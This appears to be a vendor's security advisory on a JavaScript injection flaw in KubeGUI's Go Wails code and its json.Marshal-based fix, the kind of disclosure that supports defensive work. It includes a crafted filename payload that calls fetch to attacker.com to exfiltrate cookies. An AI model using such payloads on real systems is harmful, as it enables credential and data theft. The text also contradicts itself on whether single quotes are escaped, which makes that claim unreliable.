Title: How JavaScript Injection via String Interpolation Happens in Go Wails Applications and How to Fix It
ANSWER_SUMMARY: This is a JavaScript injection vulnerability (CWE-94) in a Go Wails application where the
saveClusterConfigFilefunction ininternal/clusterconfigs/input.gounsafely interpolated user-controlled filenames into JavaScript code executed viawindow.ExecJS(). The fix introduces ajsString()helper usingjson.Marshal()for proper string escaping and creates anotify()wrapper function to centralize safe JavaScript execution, replacing three vulnerablefmt.Sprintf("notification('%s', '%s')", ...)patterns that used single-quote delimiters susceptible to injection via'or)characters in filenames.
Introduction
In the KubeGUI project, we discovered a high-severity JavaScript injection vulnerability in internal/clusterconfigs/input.go that exposed the application to arbitrary code execution through seemingly benign file operations. The saveClusterConfigFile function, responsible for processing kubeconfig files, constructed JavaScript code by directly interpolating filenames into strings passed to window.ExecJS() — a Wails framework method that executes JavaScript in the application's Webview context.
The dangerous pattern appeared three times between lines 17-45, each following this structure:
notificationJS := fmt.Sprintf("notification('%s', '%s')", status, message)
window.ExecJS(notificationJS)
While filepath.Base(path) stripped directory components from the input path, the resulting fileName variable received no further sanitization before being embedded in single-quote-delimited JavaScript strings. This created a classic injection vector where JavaScript metacharacters in filenames could break out of the intended string literal and execute arbitrary code.
For developers building desktop applications with Go and Wails, this vulnerability demonstrates how backend input validation assumptions fail when data crosses into JavaScript execution contexts.
The Vulnerability Explained
The Problematic Code Pattern
The vulnerability existed in three error-handling paths within saveClusterConfigFile. Here's the vulnerable pattern that appeared at lines 17-20, 26-29, and 34-37:
func saveClusterConfigFile(window *application.WebviewWindow, path, source string, eventData any) {
fileName := filepath.Base(path) // Line 13: User-controlled input
_, err := clientcmd.BuildConfigFromFlags("", path)
if err != nil {
message := "Not valid kubeconfig (" + fileName + ")!" // Injection point
status := "error"
notificationJS := fmt.Sprintf("notification('%s', '%s')", status, message) // Vulnerable construction
window.ExecJS(notificationJS) // Dangerous execution
return
}
// ... repeated pattern in two more error handlers
}
Why filepath.Base() Isn't Enough
The code's sole "protection" — filepath.Base(path) — only removes directory traversal sequences. It does not escape JavaScript metacharacters. Consider this attack scenario:
An attacker crafts a kubeconfig file with this filename:
test'); alert(document.cookie); fetch('https://attacker.com/steal?cookie='+document.cookie); ('.yaml
After filepath.Base() processing, the fileName becomes:
test'); alert(document.cookie); fetch('https://attacker.com/steal?cookie='+document.cookie); ('.yaml
The resulting message variable contains:
Not valid kubeconfig (test'); alert(document.cookie); fetch('https://attacker.com/steal?cookie='+document.cookie); ('.yaml)!
When interpolated into the JavaScript template, the executed code becomes:
notification('error', 'Not valid kubeconfig (test'); alert(document.cookie); fetch('https://attacker.com/steal?cookie='+document.cookie); ('.yaml)!')
The single quote after test terminates the string literal early, the ) closes the notification( call, and the attacker's code executes with full Webview privileges — accessing cookies, making network requests, or interacting with the Wails bridge API.
Real-World Impact for KubeGUI
KubeGUI is a Kubernetes cluster management desktop application. This vulnerability allowed:
- Data exfiltration: Stealing Kubernetes credentials from the application's state
- UI manipulation: Spoofing cluster connection dialogs to harvest passwords
- Native API access: Potentially invoking exposed Wails runtime methods
- Cross-cluster attacks: Using compromised UI to execute operations against clusters
The attack vector is practical: kubeconfig files are frequently shared via email, chat, or downloaded from cluster management portals — all vectors where an attacker could influence the filename.
The Fix
Structural Changes
The fix introduces two key abstractions that eliminate the vulnerability pattern throughout the file:
| Component | Purpose |
|---|---|
jsString(s string) string |
Safely encode any string for JavaScript embedding using JSON marshaling |
notify(window, status, message string) |
Centralized, safe notification function that enforces proper escaping |
Before and After Comparison
Vulnerable pattern (lines 17-20):
message := "Not valid kubeconfig (" + fileName + ")!"
status := "error"
notificationJS := fmt.Sprintf("notification('%s', '%s')", status, message)
window.ExecJS(notificationJS)
Fixed equivalent:
notify(window, "error", "Not valid kubeconfig ("+fileName+")!")
The Complete Fix Implementation
// New helper: JSON-based JavaScript string escaping
func jsString(s string) string {
b, _ := json.Marshal(s)
return string(b)
}
// New centralized notification function with guaranteed safe escaping
func notify(window *application.WebviewWindow, status, message string) {
window.ExecJS(fmt.Sprintf("notification(%s, %s)", jsString(status), jsString(message)))
}
func saveClusterConfigFile(window *application.WebviewWindow, path, source string, eventData any) {
fileName := filepath.Base(path)
_, err := clientcmd.BuildConfigFromFlags("", path)
if err != nil {
notify(window, "error", "Not valid kubeconfig ("+fileName+")!") // Safe
return
}
rules := &clientcmd.ClientConfigLoadingRules{ExplicitPath: path}
cfg, err := rules.Load()
if err != nil {
notify(window, "error", "Unable to load kubeconfig ("+fileName+")!") // Safe
return
}
if len(cfg.Contexts) == 0 {
notify(window, "error", "Kubeconfig contains no contexts ("+fileName+")!") // Safe
return
}
// ...
}
Why json.Marshal() Solves This Problem
JSON string encoding provides exactly the escaping semantics needed for JavaScript:
| Character | JSON Encoding | JavaScript Safety |
|---|---|---|
' |
unchanged (no escaping needed) | Literal single quote, safe in template |
" |
\" |
Escaped, cannot break string |
\ |
\\ |
Escaped, cannot introduce escape sequences |
| Newline | \n |
Escaped, cannot inject multi-line code |
| Control chars | \uXXXX |
Hex-escaped, safe |
By using json.Marshal(), the fix guarantees that the resulting string, when dropped into a JavaScript template, behaves as a single string literal regardless of input content. The jsString() function returns a JSON-encoded string like "test\\u0027); alert(1);//.yaml" — where the dangerous characters are safely escaped.
Additional Benefits
The fix also improves code maintainability:
- DRY principle: Three duplicate code blocks reduced to one-line calls
- Centralized security: All JavaScript execution now flows through
notify() - Future-proofing: Any additional notification sites automatically inherit safe escaping
Prevention & Best Practices
For Go Wails Applications
- Never interpolate user input into JavaScript strings directly — always use structured encoding
- Create wrapper functions for all
ExecJS()calls to enforce escaping at the boundary - Use
json.Marshal()for string encoding rather than custom escape functions that may miss edge cases - Treat filenames as untrusted input — they originate from filesystems, downloads, or archives that attackers control
General Secure Coding Patterns
| Anti-Pattern | Secure Alternative |
|---|---|
fmt.Sprintf("func('%s')", userInput) |
fmt.Sprintf("func(%s)", jsonString(userInput)) |
| Manual character replacement | Standard library encoding (json, html/template) |
| Inline JavaScript construction | Centralized, audited wrapper functions |
Detection Tools
- Semgrep: Rules like
go.lang.security.audit.dangerous-exec-commandcan flagExecJSwith dynamic content - CodeQL: Custom queries can track taint from
filepath.Baseto JavaScript execution sinks - Static analysis: Look for
fmt.Sprintfpatterns containing both JavaScript syntax and variables derived from path operations
Security Standards
- CWE-94: Improper Control of Generation of Code ('Code Injection')
- CWE-79: Cross-site Scripting (XSS) — applicable to Webview contexts
- OWASP Top 10 2021: A03:2021 – Injection
Key Takeaways
-
Never trust
filepath.Base()for security: It prevents directory traversal but leaves all other injection vectors open — JavaScript metacharacters in filenames pass through unchanged -
The
saveClusterConfigFilefunction now usesjson.Marshal()escaping: All JavaScript string embedding flows through thejsString()helper, guaranteeing proper encoding regardless of input content -
Centralize dangerous operations: The new
notify()wrapper ensures that future developers cannot accidentally reintroduce the vulnerablefmt.Sprintf("notification('%s', '%s')"pattern -
Wails
ExecJS()is a security boundary: Treat it with the same caution aseval()in web applications — any dynamic content requires rigorous sanitization -
Three vulnerable sites, one fix pattern: The refactoring eliminated duplicate code while closing all injection vectors simultaneously
How Orbis AppSec Detected This
Source: The path parameter to saveClusterConfigFile, specifically the fileName variable derived from filepath.Base(path) at line 13
Sink: The window.ExecJS() calls at lines 20, 27, and 35 in internal/clusterconfigs/input.go, which executed dynamically constructed JavaScript strings
Missing control: No sanitization or encoding of fileName before embedding in single-quote-delimited JavaScript string literals; the fmt.Sprintf("notification('%s', '%s')", ...) pattern used unsafe delimiter-based construction instead of proper encoding
CWE: CWE-94 (Improper Control of Generation of Code)
Fix: Replaced inline JavaScript string construction with a jsString() helper using json.Marshal() for guaranteed safe encoding, and centralized all ExecJS() calls through a notify() wrapper function that enforces proper escaping
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability in KubeGUI's saveClusterConfigFile function illustrates how assumptions about "safe" input processing can fail catastrophically when data crosses context boundaries. The developers correctly recognized that filepath.Base() prevented directory traversal, but missed that filenames themselves — often attacker-controlled — could carry payload-delivering characters.
The fix demonstrates defense in depth: JSON encoding provides mathematical guarantees of safe embedding, while architectural changes (the notify() wrapper) prevent regression. For teams building desktop applications with Wails or similar frameworks, this case underscores that any bridge between native code and JavaScript execution requires the same rigorous input handling as web applications facing the open internet.
References
- CWE-94: Improper Control of Generation of Code ('Code Injection')
- OWASP DOM based XSS Prevention Cheat Sheet
- Go encoding/json package documentation
- Wails v2 WebviewWindow.ExecJS documentation
- Semgrep rule: go.lang.security.audit.dangerous-exec-command
- fix: the saveclusterconfigfile function constructs j... in input.go